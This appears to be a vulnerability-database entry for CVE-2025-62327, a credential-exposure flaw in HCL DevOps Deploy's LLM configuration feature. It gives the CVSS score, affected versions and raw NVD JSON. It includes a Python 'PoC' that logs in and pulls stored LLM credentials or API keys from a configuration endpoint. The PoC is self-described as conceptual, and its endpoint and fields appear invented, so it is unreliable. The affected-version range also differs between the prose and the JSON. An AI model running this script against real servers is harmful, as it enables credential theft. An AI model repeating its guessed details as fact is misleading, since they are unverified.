Security Vulnerability Report
中文
CVE-2025-62327 CVSS 4.9 MEDIUM

CVE-2025-62327

Published: 2026-01-07 16:15:51
Last Modified: 2026-01-29 01:15:46

Description

In HCL DevOps Deploy 8.1.2.0 through 8.1.2.3, a user with LLM configuration privileges may be able to recover a credential previously saved for performing authenticated LLM Queries.

CVSS Details

CVSS Score
4.9
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:hcltechsw:hcl_devops_deploy:*:*:*:*:*:*:*:* - VULNERABLE
HCL DevOps Deploy 8.1.2.0
HCL DevOps Deploy 8.1.2.1
HCL DevOps Deploy 8.1.2.2
HCL DevOps Deploy 8.1.2.3

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# CVE-2025-62327 PoC - HCL DevOps Deploy LLM Credential Recovery # Note: This is a conceptual PoC for educational purposes import requests import json TARGET_HOST = "https://target-hcl-deploy.example.com" USERNAME = "attacker_account" PASSWORD = "attacker_password" def exploit_llm_credential_recovery(): """ Exploit for CVE-2025-62327 Requires LLM configuration privileges """ # Step 1: Authenticate to HCL DevOps Deploy session = requests.Session() auth_payload = { "username": USERNAME, "password": PASSWORD } # Login request login_url = f"{TARGET_HOST}/j_security_check" response = session.post(login_url, data=auth_payload) if response.status_code != 200: print("[-] Authentication failed") return None print("[+] Authentication successful") # Step 2: Access LLM configuration to retrieve saved credentials llm_config_url = f"{TARGET_HOST}/restapi/llm/config" # Attempt to retrieve LLM credentials response = session.get(llm_config_url) if response.status_code == 200: config_data = response.json() print("[+] LLM configuration retrieved") # Extract credentials if exposed if 'credentials' in config_data: credentials = config_data['credentials'] print(f"[+] Exposed credentials: {json.dumps(credentials, indent=2)}") return credentials elif 'apiKey' in config_data: api_key = config_data['apiKey'] print(f"[+] Exposed API Key: {api_key}") return api_key else: print(f"[-] Failed to retrieve LLM config: {response.status_code}") return None def main(): print("=" * 60) print("CVE-2025-62327 PoC - HCL DevOps Deploy LLM Credential Recovery") print("=" * 60) credentials = exploit_llm_credential_recovery() if credentials: print("\n[!] Vulnerability confirmed - credentials exposed!") print("[!] These credentials can be used to access LLM services") else: print("\n[-] Exploitation failed or target not vulnerable") if __name__ == "__main__": main()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-62327", "sourceIdentifier": "[email protected]", "published": "2026-01-07T16:15:50.877", "lastModified": "2026-01-29T01:15:45.870", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In HCL DevOps Deploy 8.1.2.0 through 8.1.2.3, a user with LLM configuration privileges may be able to recover a credential previously saved for performing authenticated LLM Queries."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N", "baseScore": 4.9, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.2, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-522"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:hcltechsw:hcl_devops_deploy:*:*:*:*:*:*:*:*", "versionStartIncluding": "8.1.2.0", "versionEndExcluding": "8.1.2.3", "matchCriteriaId": "667A3DAD-A6CB-4409-B915-ED1488FAED91"}]}]}], "references": [{"url": "https://support.hcl-software.com/csm?id=kb_article&sysparm_article=KB0127336", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}